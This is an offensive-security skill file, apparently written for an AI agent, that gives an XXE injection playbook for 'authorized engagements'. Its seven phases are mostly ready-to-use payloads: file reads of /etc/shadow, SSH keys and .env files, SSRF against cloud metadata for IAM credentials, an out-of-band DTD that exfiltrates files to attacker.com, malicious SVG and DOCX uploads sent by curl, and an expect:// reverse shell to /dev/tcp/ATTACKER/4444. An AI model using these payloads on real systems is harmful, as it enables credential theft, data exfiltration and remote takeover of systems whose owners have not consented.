---
name: rt-xxe
description: "XML External Entity (XXE) injection skill for authorized engagements. Classic XXE for file read, XXE-based SSRF, blind XXE via out-of-band (OOB) DNS/HTTP exfiltration, XXE in file uploads (SVG, DOCX, XLSX), XXE in SOAP/REST APIs, XXE via XInclude, error-based XXE, and XXE to RCE via PHP expect wrapper. Use when any XML input is processed by the application."
---

# rt-xxe — XML External Entity (XXE) Injection

## Overview

XXE occurs when XML parsers process external entity references in attacker-controlled XML input. Impact ranges from local file disclosure to SSRF to RCE. XXE is commonly found in: XML APIs, file upload endpoints (SVG, DOCX, XLSX), SOAP services, and applications using XML for data exchange.

---

## Phase 1 — Classic XXE (File Read)

```xml
<!-- Basic XXE — read /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

<!-- Windows paths -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<root>&xxe;</root>

<!-- Read sensitive files -->
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ     ← environment variables (may have secrets)
file:///proc/self/cmdline     ← running process command
file:///var/www/html/config.php
file:///app/.env
file:///home/user/.ssh/id_rsa

<!-- PHP wrapper — base64 encode to avoid XML breakage -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<root>&xxe;</root>
<!-- Decode response: echo "BASE64" | base64 -d -->
```

---

## Phase 2 — XXE-Based SSRF

```xml
<!-- Probe internal services via XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
<!-- AWS metadata → get IAM credentials -->

<!-- Internal port scan via XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.10.10.1:8080/">]>
<root>&xxe;</root>
<!-- Different response/timing for open vs closed ports -->
```

---

## Phase 3 — Blind XXE (Out-of-Band)

```xml
<!-- No response reflection → use OOB to exfiltrate -->

<!-- Step 1: Host malicious DTD on attacker server -->
<!-- attacker.com/evil.dtd: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

<!-- Step 2: Send XML referencing your DTD -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root>test</root>

<!-- Monitor attacker.com access logs → file contents in URL params -->

<!-- DNS-based blind XXE (firewalled HTTP) -->
<!ENTITY % xxe SYSTEM "http://UNIQUE_ID.attacker.burpcollaborator.net/">

<!-- Burp Collaborator: detect blind XXE via DNS lookups -->
```

---

## Phase 4 — XXE in File Uploads

```bash
# SVG XXE (image upload that parses SVG)
cat > evil.svg << 'EOF'
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text font-size="15">&xxe;</text>
</svg>
EOF
curl -X POST https://target.com/upload -F "file=@evil.svg"

# DOCX/XLSX XXE (Office documents are ZIP archives containing XML)
mkdir docx_xxe && cd docx_xxe
cp legitimate.docx evil.docx
unzip evil.docx -d evil_extracted/
# Edit evil_extracted/word/document.xml:
# Add XXE declaration at top
zip -r evil.docx evil_extracted/
curl -X POST https://target.com/upload -F "file=@evil.docx"

# PDF XXE (some PDF parsers)
cat > evil.pdf << 'EOF'
%PDF-1.4
1 0 obj
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
EOF
```

---

## Phase 5 — XInclude Attack

```xml
<!-- When you can't control the DOCTYPE declaration -->
<!-- XInclude works inside XML document body -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```

---

## Phase 6 — Error-Based XXE

```xml
<!-- Trigger parsing error to exfiltrate in error message -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<!-- Error message contains: file not found: /nonexistent/root:x:0:0:root... -->
```

---

## Phase 7 — XXE to RCE

```xml
<!-- PHP expect:// wrapper (if expect module loaded) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
<!-- Response: uid=33(www-data) -->

<!-- Escalate to reverse shell -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >%26 /dev/tcp/ATTACKER/4444 0>%261'">]>
```

---

## Skill Levels

**BEGINNER:** Classic XXE file read (/etc/passwd) · SOAP/XML API testing · SVG file upload

**INTERMEDIATE:** XXE-based SSRF for cloud metadata · Blind OOB via Burp Collaborator · DOCX/XLSX XXE

**ADVANCED:** Error-based blind XXE · XInclude for restricted contexts · PHP filter chain via XXE

**EXPERT:** XXE to RCE via expect:// · Custom DTD chaining · XXE in binary protocols that embed XML

---

## References

- PortSwigger XXE: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
- MITRE T1059: https://attack.mitre.org/techniques/T1059/
